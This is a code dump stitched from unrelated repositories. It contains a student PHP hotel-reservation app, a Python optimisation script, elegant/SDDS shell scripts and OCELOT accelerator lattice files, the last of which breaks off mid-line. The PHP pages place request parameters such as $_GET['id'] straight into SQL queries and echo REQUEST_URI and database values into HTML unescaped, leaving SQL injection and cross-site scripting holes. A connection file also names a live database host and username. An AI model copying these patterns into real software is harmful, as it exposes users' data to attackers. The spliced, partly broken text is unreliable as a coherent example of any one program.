class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php" title="jQuery Mobile Demos home"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> <a href="index.php" class="jqm-search-link ui-btn ui-btn-icon-notext ui-corner-all ui-icon-arrow-l ui-nodisc-icon ui-alt-icon ui-btn-left">Search</a> </div><!-- /header --> <div role="main" class="ui-content"> <h3> Reservation </h3> <form class="form-inline" method="post" action='<?php echo $_SERVER['REQUEST_URI'];?>'> <div data-role="collapsible"> <?php $q1 = mysqli_query($con, "select * from tblroompicture where roomID = $id "); while($row1 = mysqli_fetch_array($q1)) { echo ' <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:251px; height:220px; margin-bottom: 10px;"/><br> '; } $q = mysqli_query($con, "select * from tblroom where id = $id "); while($row = mysqli_fetch_array($q)) { echo ' <h4>Room Details</h4> <b>'.$row['name'].'</b> <p>Pax: '.$row['capacity'].'</p>'; if($row['type'] == 1) { echo ' <label>Price: P'.$row['rate'].'/night</label> '; } else { echo ' <label>Price: P'.$row['rate'].'/head</label>'; } echo ' <p>Description: '.$row['description'].'</p> '; } ?> </div> <<p> Select Date From: </p> <input type="text" id="in_date" name="dateFrom" data-role="datebox" data-options='{"mode": "calbox", "useNewStyle":true, "useFocus": true, "afterToday":true, "closeCallback":"linker", "closeCallbackArgs": ["out_date"]}'> <p> Select Date To: </p> <input type="text" id="out_date" name="dateTo" data-role="datebox" data-options='{"mode": "calbox", "useNewStyle":true, "useFocus": true}'> <?php $q = mysqli_query($con, "select * from tblroom where id = $id "); while($row = mysqli_fetch_array($q)) { if($row['type'] == 2) { echo ' <p> Number of Person(s): </p> <select name="num_pax" data-mini="true"> <option>1</option> <option>2</option> <option>3</option> <option>4</option> <option>5</option> </select> '; } else echo '<input type="hidden" name="num_pax" value="1">'; } ?> <button type="submit" class="ui-btn ui-btn-b" name="reserved_room" >Reserve</button> </form> <?php if(isset($notif)) echo $notif;?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015 </p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <?php } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/include/page-header.php <section id="home" class="head-main-img"> <div class="container"> <div class="row text-center pad-row" > <div class="col-md-12"> <?php $url = basename($_SERVER['REQUEST_URI'],".php"); ?> <h1> <?php echo $url; ?> </h1> </div> </div> </div> </section><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/index.php <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php $reservation = $con->query("select * FROM tblbilling WHERE tblbilling.status='Pending'"); $reservation = $reservation->num_rows; $customer = @$con->query("select * FROM tblcustomer where tblcustomer.status=0"); $customer = $customer->num_rows; $dateNow = date('m-Y'); $profit = $con->query("SELECT SUM(tblbilling.total) FROM tblreservation left join tblbilling on tblreservation.id = tblbilling.reservationID WHERE DATE_FORMAT(tblreservation.dateTo,'%m-%Y') = '$dateNow' and tblbilling.status='Paid'")->fetch_array(); $profit = $profit[0]; ; $billing = $con->query("select * from tblbilling where status='Paid'"); ?> <title>Admin Panel</title> <div class="span9"> <div class="content"> <div class="btn-controls"> <div class="btn-box-row row-fluid"> <a href="#" class="btn-box big span4"><i class=" icon-book"></i><b><?php echo $reservation; ?></b> <p class="text-muted"> Reservation</p> </a><a href="#" class="btn-box big span4"><i class="icon-user"></i><b><?php echo $customer; ?></b> <p class="text-muted"> New Customer</p> </a><a href="#" class="btn-box big span4"><i class="icon-money"></i><b>Php <?php echo number_format($profit,2); ?></b> <p class="text-muted"> <?php echo date('F'); ?> Profit</p> </a> </div> </div> <!--/#btn-controls--> <?php include('include/footer.php'); ?> <script> $('#table').DataTable(); </script><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/conn.php <?php session_start(); $host = 'sql201.byethost7.com'; $user = 'b7_15550416'; $pass = '<PASSWORD>'; $db = 'b7_15550416_hotel'; $con = mysqli_connect($host,$user,$pass,$db); ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/print.php <?php include('../conn.php'); $id = $_GET['id']; $q = "SELECT tblroom.name, tblcustomer.fname,tblcustomer.mname, tblcustomer.lname, tblcustomer.contact, tblcustomer.address, tblbilling.roomrate, tblbilling.num_night, tblbilling.num_pax, tblbilling.others, tblbilling.discount, tblbilling.total, tblreservation.dateFrom,tblreservation.dateTo FROM tblreservation LEFT JOIN tblcustomer on tblreservation.customerID=tblcustomer.id LEFT JOIN tblroom on tblreservation.roomID=tblroom.id LEFT JOIN tblbilling on tblreservation.id=tblbilling.reservationID WHERE tblreservation.id=$id"; $row = $con->query($q)->fetch_object(); $address = $con->query("select * from tblprofile order by id desc")->fetch_object()->address; $contact = $con->query("select * from tblprofile order by id desc")->fetch_object()->contact; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Print Receipt</title> <!-- Bootstrap Core CSS --> <link href="css/print.css" rel="stylesheet"> <style> .wrapper { margin-top:20px !important; border:1px solid #777; background:#fff; padding: 20px; } body { background:#ccc; } /* Page: Invoice */ .invoice { position: relative; width: 90%; margin: 10px auto; background: #fff; border: 1px solid #f4f4f4; padding:10px; } .invoice-title { margin-top: 0; } /* Enhancement for printing */ @media print { .invoice { width: 100%; border: 0; margin: 0; padding: 0; } .invoice-col table td,.invoice-col table th, { padding:0px; } .table-responsive { overflow: auto; } .table-responsive > .table tr th, .table-responsive > .table tr td { white-space: normal!important; } } @media print { .no-print { display: none; } .left-side, .header, .content-header { display: none; } .right-side { margin: 0; } } </style> </head> <body> <div class="container wrapper"> <div class="row"> <div class="col-lg-12"> <div class="text-center"> <img src="images/logo.png" width="100px" height="100px" /> <h3>iHOTEL <br><small class="text-muted"><?php echo $address;?></small> <br><small class="text-muted">Contact No: <?php echo $contact;?></small> </h3> </div> </div> </div> <div class="row"> <section class="content invoice"> <div class="table-responsive"> <table> <tr> <td class="col-sm-2"><strong>CUSTOMER'S NAME:</strong></td> <td><?php echo $row->fname.' '.$row->mname[0].'. '.$row->lname;?></td> </tr> <tr> <td class="col-sm-2"><strong>ADDRESS:</strong></td> <td><?php echo $row->address; ?></td> </tr> <tr> <td class="col-sm-2"><strong>NO. OF NIGHT(S):</strong></td> <td><?php echo $row->num_night; ?></td> </tr> <tr> <td class="col-sm-2"><strong>NO. OF PERSON(S):</strong></td> <td><?php echo $row->num_pax; ?></td> </tr> <tr> <td class="col-sm-2"><strong>DATE ISSUED:</strong></td> <?php $date = date('M d, Y');?> <td><?php echo $date;?></td> </tr> </table> </div> <br /> <div class="table-responsive"> <table class="table table-bordered"> <thead> <tr> <th>Room</th> <th>Room Rate</th> </tr> </thead> <tbody> <?php $total = 0; ?> <?php $dateF = null; ?> <?php $date = $row->dateFrom;?> <?php $tmp = strtotime($date); ?> <?php $dateF = date('M d, Y',$tmp); ?> <?php $dateT = null; ?> <?php $date1 = $row->dateTo;?> <?php $tmp1 = strtotime($date1); ?> <?php $dateT = date('M d, Y',$tmp1); ?> <?php for($c=0;$c < $row->num_night;$c++):?> <tr> <td> <strong><?php echo $row->name; ?></strong> (<?php echo $dateF.' to '.$dateT; ?>) <?php $dateF = date('M d, Y',strtotime($dateF . "+1 days"));?> </td> <td>Php <?php echo $row->roomrate;?></td> <?php $total = $total + $row->roomrate; ?> </tr> <?php endfor; ?> </tbody> </table> </div> <div class="table-responsive"> <table width="100%"> <tr> <td class="text-right"><strong>TOTAL ROOM CHARGES</strong></td> <td>&nbsp;:&nbsp;</td> <td>Php <?php echo $total; ?></td> </tr> <tr> <td class="text-right"><strong>TAXES</strong></td> <td>&nbsp;:&nbsp;</td> <?php $tax = $row->total * 0.12; ?> <td>Php <?php echo $tax; ?></td> </tr> <tr> <td class="text-right"><strong>OTHER FEES</strong></td> <td>&nbsp;:&nbsp;</td> <td>Php <?php echo $row->others; ?></td> </tr> <tr> <td class="text-right"><strong>DISCOUNT</strong></td> <td>&nbsp;:&nbsp;</td> <td><?php echo $row->discount; ?>%</td> </tr> <tr> <td class="text-right"><strong>TOTAL</strong></td> <td>&nbsp;:&nbsp;</td> <td>Php <?php echo $row->total; ?></td> </tr> </table> </div> <div class="row no-print"> <div class="col-xs-12"> <button class="btn btn-success pull-right" onclick="window.print();"><i class="fa fa-print"></i> Print</button> <span class="pull-right">&nbsp;</span> <button class="btn btn-default pull-right" onclick="window.close();"><i class="fa fa-share"></i> Close</button> </div> </div> </section> </div> </div> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/edit_room.php <?php if(!isset($_GET['id'])){ header('location:index.php'); }else if(isset($_POST['delete'])){ header('location:rooms.php?delete='.$_GET['id'].''); } ?> <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php include('model/model_room.php'); ?> <?php $data = new Data_room(); $id = $_GET['id']; if(isset($_POST['update_room'])){ $post = $_POST; $data->update_room($id,$post,$_FILES,$con); }else if(isset($_GET['remove'])){ $remove = $_GET['remove']; $data->delete_picture($remove,$con); } $room = $data->get_room_byID($id,$con); $type = $data->get_room_type($con); $images = $data->get_images($id,$con); ?> <title>Edit Room</title> <div class="span9"> <div class="content"> <div class="module"> <div class="module-head"> <h3>Update Room</h3> </div> <div class="module-body"> <form class="form-horizontal row-fluid" method="post" enctype="multipart/form-data"> <?php include('modal/modal_confirm.php');?> <div class="control-group"> <label class="control-label" for="name">Room Name</label> <div class="controls"> <input type="text" name="name" autofocus class="span8" value="<?php echo $room->name; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Description</label> <div class="controls"> <textarea class="span8" rows="5" name="desc"><?php echo $room->description; ?></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Type</label> <div class="controls"> <select required tabindex="1" data-placeholder="Select here.." class="span8" name="type"> <?php while($row = $type->fetch_object()): ?> <option value="<?php echo $row->id; ?>" <?php if($row->id==$room->type) echo 'selected'; ?> ><?php echo $row->name; ?></option> <?php endwhile; ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Capacity</label> <div class="controls"> <select required tabindex="1" data-placeholder="Select here.." class="span8" name="capacity"> <option value="1" <?php if($room->capacity==1) echo 'selected';?> >1</option> <option value="2" <?php if($room->capacity==2) echo 'selected';?> >2</option> <option value="3" <?php if($room->capacity==3) echo 'selected';?> >3</option> <option value="4" <?php if($room->capacity==4) echo 'selected';?> >4</option> <option value="5" <?php if($room->capacity==5) echo 'selected';?> >5</option> <option value="6" <?php if($room->capacity==6) echo 'selected';?> >6</option> <option value="7" <?php if($room->capacity==7) echo 'selected';?> >7</option> <option value="8" <?php if($room->capacity==8) echo 'selected';?> >8</option> <option value="9" <?php if($room->capacity==9) echo 'selected';?> >9</option> <option value="10" <?php if($room->capacity==10) echo 'selected';?> >10</option> <option value="11" <?php if($room->capacity==11) echo 'selected';?> >11</option> <option value="12" <?php if($room->capacity==12) echo 'selected';?> >12</option> <option value="13" <?php if($room->capacity==13) echo 'selected';?> >13</option> <option value="14" <?php if($room->capacity==14) echo 'selected';?> >14</option> <option value="15" <?php if($room->capacity==15) echo 'selected';?> >15</option> </select> </div> </div> <div class="control-group"> <label class="control-label" for="name">Rate</label> <div class="controls"> <input type="text" name="rate" class="span8" value="<?php echo $room->rate; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Status</label> <div class="controls"> <select required tabindex="1" data-placeholder="Select here.." class="span8" name="status"> <option value="1" <?php if($room->status==1) echo 'selected';?> >Available</option> <option value="2" <?php if($room->status==2) echo 'selected';?> >Occupied</option> <option value="3" <?php if($room->status==3) echo 'selected';?> >Reserved</option> <option value="4" <?php if($room->status==4) echo 'selected';?> >Under Renovation</option> </select> </div> </div> <div class="control-group"> <label class="control-label">Add More Images</label> <div class="controls"> <input type="file" name="gallery[]" accept="image/jpeg" multiple class="form-control" > </div> </div> <div class="control-group"> <div class="controls"> <a href="rooms.php" class="btn btn-default">Back</a> <button type="submit" class="btn btn-primary" name="update_room">Update</button> </form> <button type="button" data-toggle="modal" data-target="#delete_modal" class="btn btn-danger" name="delete_room">Delete</button> </div> </div> <hr /> <?php while($row = $images->fetch_object()): ?> <div class="span2 text-center"> <div class="thumbnail"> <center><a href="edit_room.php?id=<?php echo $id;?>&remove=<?php echo $row->id;?>">[Remove]</a></center><br /> <img src="<?php echo 'images/rooms/thumbs/'.$row->path;?>" class="img-responsive"> </div> </div> <?php endwhile; ?> <div class="clearfix"></div> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_POST['update_room'])) echo '$.jGrowl("Updated Successfully!");'; ?> <?php if(isset($_GET['remove'])) echo '$.jGrowl("Removed Successfully!");'; ?> </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/billing.php <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php include('model/model_billing.php'); ?> <title>Reserved Section</title> <?php $data = new Data_room(); if(isset($_POST['update'])){ $data->update($_POST,$con); }else if(isset($_POST['update_addon'])){ $data->update_addon($_POST,$con); $update_addon = TRUE; }else if(isset($_POST['update_payment'])){ $data->update_payment($_POST,$con); }else if(isset($_POST['update_night'])){ $data->update_night($_POST,$con); $update_night = TRUE; } $billing = $data->get_billing($con); $paid = $data->get_paid($con); ?> <div class="span9"> <div class="content"> <div class="module message"> <div class="module-head"> <h3>Reserved Section</h3> </div> <div class="module-body table"> <form method="POST" action="billing.php"> <?php include('modal/modal_confirm.php'); ?> <?php include('modal/modal_billing.php'); ?> <div class="alert alert-success" style="padding:20px;"> <div class="pull-right"> <a href="print_monthly.php" class="btn btn-default" target="_blank"><i class="menu-icon icon-print"></i> Monthly Report</a> <a href="print_yearly.php" class="btn btn-default" target="_blank"><i class="menu-icon icon-print"></i> Annual Report</a> </div> <div class="clearfix"></div> </div> <div class="table-responsive"> <table cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped text-center display" width="100%"> <thead> <tr> <th>Table</th> <th>Name</th> <th>Contact Number</th> <th>Status</th> </tr> </thead> <tbody> <?php while($row = $billing->fetch_object()): ?> <tr class="gradeX"> <td> <?php $name = $data->get_reservation($row->reservationID,$con); ?> <?php echo $name;?> </td> <td>Php <?php echo $row->roomrate;?></td> <td> <?php $others = $data->get_addon($row->id,$con); ?> <?php while($r = $others->fetch_object()): ?> <font class="<?php echo $r->id;?>" style="color:blue;"><?php echo $r->name;?> (Php <?php echo number_format($r->rate);?>)</font> <a href="#" class="remove" data-billing="<?php echo $row->id;?>" data-id="<?php echo $r->id;?>" style="color:red">[x]</a> <br /> <?php endwhile; ?> <br> <a href="#billing_others_modal" data-toggle="modal" class="update2 btn btn-sm btn-warning" data-id="<?php echo $row->id;?>">Add-On</a> </td> <td><?php echo $row->num_night;?></td> <td><?php echo $row->num_pax;?></td> <td> <?php echo $row->discount;?>%<br> </td> <td>Php <font class="total<?php echo $row->id;?>"><?php echo number_format($row->total);?></font></td> <td> <?php $status = $row->status;?> <button type="button" data-toggle="modal" data-id="<?php echo $row->id;?>" data-target="#payment_modal" class="payment btn btn-primary btn-sm">Pay</button> <button type="button" data-toggle="modal" data-id="<?php echo $row->id;?>" data-target="#billing_modal" class="update btn btn-success btn-sm">Update</button> <!-- <button type="button" data-toggle="modal" data-id="<?php echo $row->id;?>" data-target="#checkout_modal_notpaid" class="checkout1 btn btn-danger btn-sm">Check Out</button> --> </td> </tr> <?php endwhile; ?> <?php while($row = $paid->fetch_object()): ?> <tr class="gradeX"> <td> <?php $name = $data->get_reservation($row->reservationID,$con); ?> <?php echo $name;?> </td> <td>Php <?php echo $row->roomrate;?></td> <td> <?php echo $row->others;?><br> </td> <td><?php echo $row->num_night;?></td> <td><?php echo $row->num_pax;?></td> <td> <?php echo $row->discount;?>%<br> </td> <td>Php <?php echo number_format($row->total);?></td> <td> <?php echo $row->status;?><br /> <small><a href="print.php?id=<?php echo $row->id;?>" target="_blank">[View and Print]</a></small> <?php $q = mysqli_query($con, "select * from tblreservation where dateFrom = '0000-00-00' and dateTo = '0000-00-00' "); $row2 = mysqli_fetch_array($q); if($row2['dateFrom'] != '0000-00-00' && $row2['dateTo'] != '0000-00-00') { echo '<small><button type="button" data-toggle="modal" data-id="'.$row->id.'" data-target="#checkout_modal" class="checkout btn btn-danger btn-sm">Check Out</button></small>'; } else { echo ''; } ?> </td> </tr> <?php endwhile; ?> </tbody> </table> </div> </form> </div> <div class="module-foot"> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_POST['cancel_reservation'])) echo '$.jGrowl("Cancelled Successfully!");'; ?> <?php if(isset($_POST['confirm_reservation'])) echo '$.jGrowl("Confirmed Successfully!");'; ?> <?php if(@$update_night) echo '$.jGrowl("Updated Successfully!");'; ?> <?php if(@$update_addon) echo '$.jGrowl("Add-On Updated Successfully!");'; ?> </script> <script> $(document).ready(function() { $('.datatable-1').dataTable(); $('.dataTables_paginate').addClass("btn-group datatable-pagination"); $('.dataTables_paginate > a').wrapInner('<span />'); $('.dataTables_paginate > a:first-child').append('<i class="icon-chevron-left shaded"></i>'); $('.dataTables_paginate > a:last-child').append('<i class="icon-chevron-right shaded"></i>'); } ); </script> <script> $('.update').on('click',function(){ var id = $(this).data('id'); $.ajax({ url: 'update_billing.php', type: 'POST', data: { id:id}, success: function(dataJim) { $('#billing_modal .modal-body').html(dataJim); } }); }); $('.update2').on('click',function(){ var id = $(this).data('id'); $.ajax({ url: 'update_billing.php', type: 'POST', data: { id:id,process:'addon'}, success: function(dataJim) { $('#billing_others_modal .modal-body').html(dataJim); } }); }); $('.payment').on('click',function(){ var id = $(this).data('id'); var process = $(this).data('process'); $.ajax({ url: 'update_billing.php', type: 'POST', data: { id:id,process:'payment'}, success: function(dataJim) { $('#payment_modal .modal-body').html(dataJim); } }); }); $('.checkout').on('click',function(){ var id = $(this).data('id'); var process = $(this).data('process'); $.ajax({ url: 'update_billing.php', type: 'POST', data: { id:id,process:'checkout'}, success: function(dataJim) { $('#checkout_modal .modal-body').html(dataJim); } }); }); $('.checkout1').on('click',function(){ var id = $(this).data('id'); var process = $(this).data('process'); $.ajax({ url: 'update_billing.php', type: 'POST', data: { id:id,process:'checkout1'}, success: function(dataJim) { $('#checkout_modal_notpaid .modal-body').html(dataJim); } }); }); $('.update_night').on('click',function(){ var id = $(this).data('id'); var value = $(this).data('value'); $.ajax({ url: 'update_billing.php', type: 'POST', data: { id:id,process:'update_night',value:value}, success: function(dataJim) { $('#update_night_modal .modal-body').html(dataJim); } }); }); $('.remove').on('click',function(){ var id = $(this).data('id'); var billingID = $(this).data('billing'); var total = '.total'+billingID; $('.'+id).fadeOut(); $(this).fadeOut(); $.ajax({ url: 'update_others.php', type: 'POST', data: { id:id}, success: function(dataJim) { $(total).html(dataJim); } }); }); </script> </body> </html>
dcb628159d8958a6849beced3cb49984371cf1cb
[ "JavaScript", "PHP" ]
47
PHP
kirk-zZ/SIA
59697cfc3193bcf757bbc1fa0be52ea832eb5b95
bfd211edc6537706469755dc9acdf38e8f77cd62
refs/heads/master
<file_sep>from pylab import * from scipy.optimize import * from scipy import optimize a0 = 0.1 sig = 0.01 w0 = 100.11 def f(x,t): x0 = 1.0 + a0* sin(w0 * t) a = 1. + np.random.randn() * sig return a*exp(-(x-x0)**2/2) x = np.linspace(-5,5) for t in np.linspace(0, 10, 100): plt.plot(x,f(x, t), 'b-', alpha = 0.1) def err_f(x): global tau tau += 1.0 trace_x.append(x) trace_f.append(f(x, tau)) trace_t.append(tau) #print tau, x return -f(x, tau) ax = plt.figure().add_subplot(111) ax2 = plt.figure().add_subplot(111) #ax2 = ax.twinx() for i in np.linspace(1,10, 100): x = [0.0] tau = 0.0 + 100*np.random.randn() trace_x = [] trace_f = [] trace_t = [] isim = array([[-5.e-2, 5.e-2]]).T optimize.minimize(err_f, x, method="Nelder-Mead", options={'disp': False, 'initial_simplex': isim, 'maxiter': 100, 'xatol':1.e-5 }) print(trace_x[-1]) trace_x = np.array(trace_x) trace_f = np.array(trace_f) trace_t = np.array(trace_t) ax.plot(trace_t - trace_t[0], trace_x, 'r-', alpha=0.8) ax2.plot(trace_t - trace_t[0], trace_f, 'g-', alpha=0.1) plt.show() <file_sep> from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * q1 = Quadrupole(l=0.2, k1 = -2, id='q1') q2 = Quadrupole(l=0.2, k1 = 3, id='q2') q3 = Quadrupole(l=0.2, k1 = -3, id='q3') d1 = Drift(l=1) d2 = Drift(l=2) d3 = Drift(l=2) d4 = Drift(l=2) q1.k1 = -2.71718488757 q2.k1 = 3.28422035474 q3.k1 = -3.34077230645 d1.l= 0.803280163252 d2.l= 1.56461071843 d3.l= 1.95039529109 ms = Marker() me = Marker() c2t = (ms,d1,q1,d2,q2,d3,q3,d4, me) t2c = (d4,q3,d3,q2,d2,q1,d1) beam = Beam() beam.E = 5.0 beam.beta_x = 3.56457142227 beam.beta_y = 11.5608486441 beam.alpha_x = -1.05603806184 beam.alpha_y = -1.26951045783 tw0 = Twiss(beam) lat = MagneticLattice(c2t) constr = {} constr['global'] = {'beta_x':['<',38], 'beta_y':['<',38]} constr[me] = {'alpha_x':0.0, 'alpha_y': 0.0, 'beta_x':3.0, 'beta_y': 3.0 } #varz = [q1,q2,q3,q4,qf,qd, d1, d2, d3, d4] varz = [q1,q2,q3,d1,d2,d3] #match(lat, constr, varz, tw0, max_iter=5000, method='simplex') print 'values:' for v in varz: if v.__class__ in (Quadrupole, SBend): print v.id, '=', v.k1 if v.__class__ in (Drift,): print v.id, 'l=', v.l lat.update_transfer_maps() # need it since the lattice length was modified in matching tws = twiss(lat, tw0,nPoints=101) plot_opt_func(lat, tws, legend = False) lat = MagneticLattice( (c2t, t2c) ) tws = twiss(lat, tw0,nPoints=101) plot_opt_func(lat, tws, legend = False) plt.show() # variable names for lattice designer __lattice__ = c2t __beam__ = beam __tws__ = Twiss(beam) __knobs__ = None __lattice_list__ = {'lss':(c2t, __tws__)} <file_sep># adapted from nsls2 script # seems to weird to use for alignment assignment use only to merge files # outut -- number of pages same as number of seeds # align1.param contains misalignment for various seeds #!/bin/bash sddsprocess align1.param -pipe=out \ -match=column,ElementGroup=GIRDER* \ -match=column,ElementParameter=DX \ -define=column,PageP,i_page,type=long \ -define=parameter,PageP,i_page,type=long \ | sddsxref align1.twi -pipe -match=ElementName -take=s -reuse=page \ | sddsbreak -pipe -change=ElementGroup \ | sddsprocess -pipe \ -process=s,first,sMin -process=s,last,sMax \ -process=ParameterValue,first,Vo -process=ParameterValue,last,Vn \ "-define=parameter,sLength,sMax sMin -" \ "-define=parameter,dxo,Vo" \ "-define=parameter,dxp,Vn Vo - 1 /" \ "-define=column,dxGirdcor,dxo dxp s sMin - * +" \ "-define=column,dxGirdbeg,ParameterValue Vo == pop pop ? 0 : 1 $" \ "-define=column,dxGirdend,ParameterValue Vn == pop pop ? 0 : 1 $" \ "-define=column,dx,ParameterValue" \ | sddscombine -pipe=in align1.dx -merge=PageP <file_sep>DA contour plot #!/bin/sh # \ exec tclsh "$0" "$@" set seeds [lindex [exec sddscollapse spear.aper -pipe=out | sdds2stream -rows -pipe] 0] eval exec sddscombine spear.aper -pipe=out -merge \ | sddshist2d -column=x,y -x=41,-0.03,0.03 -y=27,0,.02 -pipe=in dynap.h2d exec sddscontour -shade=16 dynap.h2d \ "-title=$seeds elegant runs with $seeds seeds <NAME> ANL/APS March 1999" \ "-topline=SPEAR3 200-Turn Dynamic Aperture" {-ylabel=$dy (m)$i} & <file_sep>from bch import * from pylab import * A = Poly() A[2,0] = -1.0 * 0.2 A[0,2] = -1.0 * 0.2 B = Poly() B[2,0] = 1.0 B[0,2] = 1.0 x = Poly() x[1,0] = 1.0 px = Poly() px[0,1] = 1.0 vxs = [] vps = [] Is = [] xn, pxn = x, px In = B for i in range(0,20000): xn = lexp(A,xn,n=15) pxn = lexp(A,pxn,n=15) In = lexp(A,In,n=30) vxs.append( xn((1,0)) ) vps.append( pxn((1,0)) ) #print(xn) Is.append( In( (1,1) )) #print(xn((1,0))) plt.plot(vxs, vps,'.') #plt.plot(Is, '-.') plt.show() ''' A = Poly() e44 = [] t=np.linspace(0.0,pi, 50) for mu in np.linspace(0.0,pi, 50): A[2,0] = 1.0 * mu / 2. A[0,2] = 1.0 * mu / 2. print(A) B = Poly() B[3,0] = 1.0 print(B) E = bch(B,A) E = bch(E,B) print('exp(:A:)exp(:B:)=exp(:',E,':)') print(E[4,0]) e44.append(E[3,0]) plt.plot(t/ (pi), e44) plt.show() ''' <file_sep>#!/bin/bash # sdds plotting stuff sddsprintout first_turn.twi -parameters=* #sddsprintout fodo.twi -columns='(ElementName,ElementType,s,beta?)' #sddsplot -graphic=line,vary apsu.twi -columnNames=s,beta? -yScalesGroup=id=beta -columnNames=s,etax -yScalesGroup=id=eta -scales=0,10.54,0,00 sddsplot first_turn.twi "-title=toy fodo ring" -legend -date \ -col=s,betax -graphic=line,type=1 \ -col=s,betay -graphic=line,type=2 \ -col=s,etax -yScalesGroup=id=eta -graphic=line,type=3 \ -col=s,Profile -graphic=line,type=0 fodo.mag sddsplot -parameter=MALIN.DP,Transmission first_turn.fin -graph=sym # -graph=line,type=0 fodo.mag -col=s,Profile -overlay=xmode=norm,yfact=0.05 #sddsplot -column=s,Cx errors.cen -graph=sym,fill <file_sep>''' Moebius-based P4 curent ''' from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * b_ang = 0.000981747704248221 * 0.89 bk1 = -1.297 bk2 = -1.297 m1 = Marker() m2 = Marker() m3 = Marker() d1 = Drift(l=0.2) d2 = Drift(l=1.0) d3 = Drift(l=1.1) d4 = Drift(l=0.05) d3e = Drift(l=2.46) qd1 = Quadrupole(l=0.23, k1=-1.773388770616) qd2 = Quadrupole(l=0.2, k1=-1.74) #qd2 = Quadrupole(l=0.2, k1=-2.2184407165) #qf1 = Quadrupole(l=0.2, k1=2.75452) qf1 = SBend(l=0.2, angle=0.0009, k1=2.75452) #qf2 = Quadrupole(l=0.2, k1=3.37) qf2 = Quadrupole(l=0.2, k1=3.62733647558) qf2e = Quadrupole(l=0.2, k1=3.62733647558) b0 = SBend(l=0.1, angle=b_ang, k1=bk1) b1 = SBend(l=0.1, angle=b_ang, k1=bk2) b2 = SBend(l=0.1, angle=b_ang, k1=0.00) b2e = SBend(l=0.1, angle=b_ang*1.05, k1=0.00) sf1 = Sextupole(l=0.25, k2= 195.0, id='sf1') # dqx + dqy = +0 #nsext = 5 # splitting sextupole for tracking #sf1 = ( (Sextupole(l=sf1.l / nsext , k2= 195. ), ) * nsext) #rfc = Cavity(l=0.0001, volt=100. / 0.0001, phi = pi/2., freq=500.0e6) rfc = Marker() be0 =(b0,b0,b0,b0,b0,b0,b0,b0) be1 =(b1,b1,b1,b1,b1,b1,b1,b1) block1 = (qf1,d1,be0,d1,qf1) block2 = (qf1,d1,be0,d1,qf1) block3 = (qf1,d1,be1,d2,m1,sf1,d4,qf2,d3,b2,b2,b2,b2,b2,b2,b2,b2,b2,d1,qd2) celarc = (block3[::-1],block1,block1,block3) block3e = (qf1,d1,be1,d2,m1,sf1,d4,qf2e,d3e,b2e,b2e,b2e,b2e,b2e,b2e,b2e,b2e,b2e,d1, qd2) celarce = (block3[::-1],block1,block1,block3e) celarcs = (block3e[::-1],block1,block1,block3) block3_short = (d4,qf2,d3,b2,b2,b2,b2,b2,b2,b2,b2,b2,d1,qd2) # between sextupoles celarc_short = (block3_short[::-1],block1,block1,block3_short) iid_transform = Matrix(rm13=-1., rm24=-1.0, rm31=1.0, rm42=1.0, l = 0.0 ) id_transform = Matrix(rm11=1., rm22=1.0, rm33=1.0, rm44=1.0, l=0.0 ) #betay = 15.165327182 #betax = 0.48939051862 betax = 0.806760276534 betay = 12.5996504284 iidm = Matrix(rm13=-sqrt(betax/betay), rm24=-sqrt(betay/betax), rm31=sqrt(betay/betax), rm42=sqrt(betax/betay), l = 0.0000 ) exss = (iidm) ss = Marker() # rf qrf1 = Quadrupole(l=0.2, k1 = 2) qrf2 = Quadrupole(l=0.2, k1 = -4) qrf3 = Quadrupole(l=0.2, k1 = 4.1) qrf1.k1 = 1.83880828901 qrf2.k1 = -4.24668111472 qrf3.k1 = 4.25273945407 qrf4 = Quadrupole(l=0.2, k1 = 3.9) qrf5 = Quadrupole(l=0.2, k1 = -5.0) qrf6 = Quadrupole(l=0.2, k1 = 2.5) drf1 = Drift(l=1) drf2 = Drift(l=0.5) drf3 = Drift(l=0.5) drf4 = Drift(l=7.9) drf5 = Drift(l=0.5) drf6 = Drift(l=0.5) drf7 = Drift(l=1) rfc = Cavity(l=7.9, volt = 20.e6, freq = 498.89e6, phi = 90 ) #rfc = Drift(l=7.9) mrfs = Marker() mrfe = Marker() rf_cell = (mrfs, drf1, qrf1, drf2, qrf2, drf3, qrf3, rfc, qrf3, drf5, qrf2, drf6, qrf1, drf7, mrfe ) #rf_cell = (mrfs, drf1, qrf1, drf2, qrf2, drf3, qrf3, 